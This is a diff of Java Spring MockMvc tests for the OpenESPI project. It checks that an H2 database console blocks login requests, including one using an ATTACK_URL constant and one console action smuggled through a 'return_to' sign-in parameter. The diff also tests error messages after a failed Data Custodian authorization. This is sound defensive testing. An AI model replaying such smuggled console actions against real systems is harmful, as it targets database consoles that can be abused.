+ MockHttpSession session = (MockHttpSession) mockMvc.perform(get(CONSOLE + "/login.do").param("url", ATTACK_URL)
+ .header(SEC_FETCH_SITE, "none"))
+ .andExpect(redirectedUrl("/login"))
+ .andReturn().getRequest().getSession();
+
+ mockMvc.perform(signInAs(session)).andExpect(redirectedUrl("/custodian/home"));
+ }
+
+ @Test
+ @DisplayName("signed out, opening the console's entry page brings the administrator back to it after sign-in")
+ void entry_page_is_replayed_after_sign_in() throws Exception {
+ MockHttpSession session = (MockHttpSession) mockMvc.perform(get(CONSOLE + "/").header(SEC_FETCH_SITE, "none"))
+ .andExpect(redirectedUrl("/login"))
+ .andReturn().getRequest().getSession();
+
+ String target = mockMvc.perform(signInAs(session)).andExpect(status().is3xxRedirection())
+ .andReturn().getResponse().getRedirectedUrl();
+ assertThat(target).isEqualTo("http://localhost" + CONSOLE + "/");
+
+ // The redirect after the login POST arrives as same-origin with the login page's Referer.
+ mockMvc.perform(get(CONSOLE + "/").session(session).header(SEC_FETCH_SITE, "same-origin")
+ .header("Referer", LOGIN_REFERER))
+ .andExpect(status().isNotFound());
+ }
+
+ @Test
+ @DisplayName("a console action passed as return_to is refused when the sign-in redirect replays it")
+ void console_action_via_return_to_is_refused() throws Exception {
+ MockHttpSession session = new MockHttpSession();
+ String action = CONSOLE + "/login.do?url=jdbc:h2:mem:x";
+ mockMvc.perform(signInAs(session).param("return_to", action)).andExpect(redirectedUrl(action));
+
+ mockMvc.perform(get(CONSOLE + "/login.do").param("url", "jdbc:h2:mem:x").session(session)
+ .header(SEC_FETCH_SITE, "same-origin").header("Referer", LOGIN_REFERER))
+ .andExpect(status().isForbidden());
+ }
}
diff --git a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
index b109afcc..53dabe34 100644
--- a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
+++ b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
@@ -251,8 +251,18 @@ void failed_dc_authorization_has_its_own_message() throws Exception {
assertThat(mockMvc.perform(get("/").param("authorization_error", "").with(user(CUSTOMER).roles("USER")))
.andExpect(status().isOk()).andReturn().getResponse().getContentAsString())
- .contains("The Data Custodian authorization did not complete")
- .doesNotContain("Invalid username or password");
+ .contains("The Data Custodian authorization did not complete", "you can try again below")
+ .doesNotContain("Invalid username or password", "Your Third Party session ended");
+ }
+
+ @Test
+ @DisplayName("after a failed DC authorization, a user whose TP session ended is told so and offered the login page")
+ void failed_dc_authorization_after_session_ended_offers_sign_in() throws Exception {
+ assertThat(mockMvc.perform(get("/").param("authorization_error", ""))
+ .andExpect(status().isOk()).andReturn().getResponse().getContentAsString())
+ .contains("Your Third Party session ended during the Data Custodian authorization",
+ "href=\"/login\"", "Sign in and try again")
+ .doesNotContain("you can try again below", "Data Access Authorization");
}
@Test